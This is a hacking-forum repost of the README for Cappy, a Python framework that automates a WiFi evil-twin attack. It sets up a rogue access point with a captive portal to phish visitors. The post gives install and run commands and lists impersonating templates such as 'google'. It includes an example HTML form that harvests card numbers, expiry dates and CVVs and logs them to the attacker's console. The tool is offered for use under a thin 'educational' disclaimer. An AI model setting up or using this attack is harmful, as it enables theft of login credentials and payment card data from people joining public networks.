# Cappy | WiFi Evil Twin Attack - Credential Harvest Tool

**URL:** <https://onehack.st/t/cappy-wifi-evil-twin-attack-credential-harvest-tool/284439>\
**Category:** Tools & Scripts\
**Tags:** hacking, freebies\
**Created:** [June 11, 2024, 7:04pm UTC](https://onehack.st/t/cappy-wifi-evil-twin-attack-credential-harvest-tool/284439 "2024-06-11T19:04:02Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![PlayBoy83](https://onehack.st/user_avatar/onehack.st/playboy83/32/164314_2.png) [@PlayBoy83](https://onehack.st/u/PlayBoy83)\
**Post date:** [June 11, 2024, 7:04pm UTC](https://onehack.st/t/cappy-wifi-evil-twin-attack-credential-harvest-tool/284439/1 "2024-06-11T19:04:02Z")

</div>

[![Cappy Logo](https://camo.githubusercontent.com/ac5f599c38c5a4d1d6f20776f713976ff38650a992944dbcf655e8b906590540/68747470733a2f2f666c6f636b6168682e622d63646e2e6e65742f42353836304541442d324443342d343337332d413030432d4230433231394342364439412e706e67)](https://camo.githubusercontent.com/ac5f599c38c5a4d1d6f20776f713976ff38650a992944dbcf655e8b906590540/68747470733a2f2f666c6f636b6168682e622d63646e2e6e65742f42353836304541442d324443342d343337332d413030432d4230433231394342364439412e706e67)

## 𝐶𝑎𝑝𝑝𝑦

**Evil Twin** is a phishing technique categorized under network attacks, it involves the creation of a **rogue wireless access point (AP)** that masquerades as a legitimate network, such as a public Wi-Fi hotspot or a familiar network with a captive portal, to deceive users into connecting and unknowingly divulging their sensitive login credentials and other personal information transmitted over the compromised connection.

Tip

**Cappy, a framework that automates the attack, must be used only in clear, educational purposes.  
Any action outside of that context is highly unrecommended, and may result in legal consequences**

# Introduction

**Python** tool, that automates the process of setting up captive portal on Linux machines, with some tweaks.

Note

This software was tested on: **Kali Linux, KaliPi, ParrotOS**  
In case of any trouble, create an issue and describe the error

**Cappy** operation scheme:

```auto
  Check Dependencies ---> Choose network interface
          | ^ |                                                                         
          | missing? | └ Change mac address Run captive portal <--- Select Template
          | | | | |
  Install Dependencies - | └ Menu Screen └ Capture credentials |
                       |_ _| | start? |
                                                      └ Prepare adapter ---> Configure IP Adresses ---> Restart services
                                                      └ Write configs

```

# Setup

**1-A.** Installing Cappy with pip

**In most cases, Cappy can handle the setup by itself, so give it a try**

This will make ‘Cappy’ available from any path in the terminal

```auto
  $ git clone https://github.com/FLOCK4H/Cappy
  $ cd Cappy
  $ sudo pip install .

```

**1-B.** Running Cappy with Python

We will need to install dependencies manually

```auto
  $ sudo apt-get update
  $ sudo apt-get install lighttpd hostapd dnsmasq
  $ cd Cappy
  $ sudo python Cappy

```

# Usage

[![image](https://private-user-images.githubusercontent.com/161654571/333800407-ce6ee823-5408-4b14-8f3c-ce33bb53737b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MTgxMzExNTksIm5iZiI6MTcxODEzMDg1OSwicGF0aCI6Ii8xNjE2NTQ1NzEvMzMzODAwNDA3LWNlNmVlODIzLTU0MDgtNGIxNC04ZjNjLWNlMzNiYjUzNzM3Yi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNjExJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDYxMVQxODM0MTlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02YzAyOGZmMGE2YzQzMDI2OTM3MWJlODUzNWI2YWI3ODIwMmYxZDE4NWNmM2Y2NzAwMjAzNDAyNjhmMjIyN2FiJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.4Qm6HWLq3lUP5y21CaHvNe9tm2b6vrxqEWYctQ9h4ic)](https://private-user-images.githubusercontent.com/161654571/333800407-ce6ee823-5408-4b14-8f3c-ce33bb53737b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MTgxMzExNTksIm5iZiI6MTcxODEzMDg1OSwicGF0aCI6Ii8xNjE2NTQ1NzEvMzMzODAwNDA3LWNlNmVlODIzLTU0MDgtNGIxNC04ZjNjLWNlMzNiYjUzNzM3Yi5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwNjExJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDYxMVQxODM0MTlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02YzAyOGZmMGE2YzQzMDI2OTM3MWJlODUzNWI2YWI3ODIwMmYxZDE4NWNmM2Y2NzAwMjAzNDAyNjhmMjIyN2FiJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.4Qm6HWLq3lUP5y21CaHvNe9tm2b6vrxqEWYctQ9h4ic)

```auto
  $ sudo Cappy

```

**Templates** are being saved to the _ **/usr/local/share/Cappy/templates** _ folder.

Creating a new template will result in making new directory in that path with a name of the template.

By default, there are 2 endpoints and 5 fields, that we can use in `index.html` of the template:

- /action.html → username, password, credit, expire, cvv
- /data → any

Example:

```auto
<form method='POST' action="http://10.0.0.15:80/action.html">
    <input type='text' name='credit' placeholder="CARD NUMBER"/>
    <input type='password' name='expire' placeholder="EXPIRY DATE"/>
    <input type='password' name='cvv' placeholder="CVV"/>
    <input value='Submit' type='submit'/>
</form>

```

**Device wanting to join the network will be redirected to the `index.html` of the template, where after entering credentials and submitting, will be redirected to the `action.html`, that harvests those credentials and logs to the console.**

**There are 4 default templates** :

- `google`
- `mrhacker`
- `Valentines`
- `mcd`

Help make this number bigger, and message me with your template:

`flock4h@gmail.com \ Topic: Cappy Templates [NEW_TEMPLATE_NAME]`

[![Result](https://camo.githubusercontent.com/38d8a5a86d886fd42c151bc9a3579f6ba02a685e0237e43183906f0b077c06a8/68747470733a2f2f666c6f636b6168682e622d63646e2e6e65742f494d475f323833352e706e67)](https://camo.githubusercontent.com/38d8a5a86d886fd42c151bc9a3579f6ba02a685e0237e43183906f0b077c06a8/68747470733a2f2f666c6f636b6168682e622d63646e2e6e65742f494d475f323833352e706e67)

## Troubleshooting

There are numerous reasons for why the Cappy may not work, as it all depends on the network adapter, operating system, and machine capabilities itself. Carefully read the console when launching the framework, the errors can provide more information on what’s going on.

Here are the general steps on how to debug your issue:

1. Ensure dependencies are installed manually

```auto
  $ sudo apt-get install hostapd dnsmasq lighttpd

```

1. Check paths for conflicts:

```auto
  $ ls /etc/hostapd
  $ find /etc/dnsmasq.conf
  $ find /usr/local/share/Cappy

```

1. Check logs of the services:

```auto
  $ sudo systemctl status hostapd
  $ sudo systemctl status dnsmasq

  # If dnsmasq status replied with - 10.0.0.1-150 range is busy, you need to change all 10.0.0.15 and 10.0.0.20-150 entries in the code to other IP and range.

```

Tip

In case when troubleshooting steps did not work; please create an issue

## TODO

- Add run arguments
- Stable release
- PyPi release

## LICENSE

𝑀𝐼𝑇THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

## GitHub:

[https://github.com/FLOCK4H/Cappy](https://github.com/FLOCK4H/Cappy)
